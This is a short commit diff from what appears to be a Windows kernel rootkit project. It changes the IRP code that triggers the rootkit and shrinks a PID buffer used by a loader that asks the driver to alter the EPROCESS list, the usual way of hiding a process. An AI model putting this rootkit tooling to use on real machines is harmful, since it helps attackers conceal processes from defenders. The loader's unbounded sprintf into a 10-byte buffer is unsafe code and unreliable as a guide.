Reduced buffer size

landhb · Mar 25, 2017 · 5efb0bc · 5efb0bc
1 parent bfa12b3
commit 5efb0bc
Show file tree

Hide file tree

Showing 2 changed files with 3 additions and 3 deletions.
diff --git a/driver/irphandlers.c b/driver/irphandlers.c
@@ -1,7 +1,7 @@
 #include "driver.h"
 
 // IRP code that will call our rootkit functionality
-#define IRP_ROOTKIT_CODE 0x900 
+#define IRP_ROOTKIT_CODE 0x815
 
 // Default IRP dispatcher, passthrough no action, return STATUS_SUCCESS
 NTSTATUS defaultIrpHandler(_In_ PDEVICE_OBJECT DeviceObject, _In_ PIRP IrpMessage) {

diff --git a/loader/loader.c b/loader/loader.c
@@ -7,7 +7,7 @@
 #define DRIVER "c:\\\\Windows\\System32\\drivers\\Rootkit.sys"
 
 // IRP code that will call our rootkit functionality
-#define IRP_ROOTKIT_CODE 0x900 
+#define IRP_ROOTKIT_CODE 0x815
 
 int call_kernel_driver(char * pid, HANDLE hDevice){
 
@@ -216,7 +216,7 @@ int main(int argc, char *argv[])
     printf("[+] Recieved driver handle.\n");
 
     // Convert PID to buffer to pass to driver
-    char buffer[32];
+    char buffer[10];
     sprintf(buffer,"%ld", pid);
 
     // Call driver to modify the EPROCESS list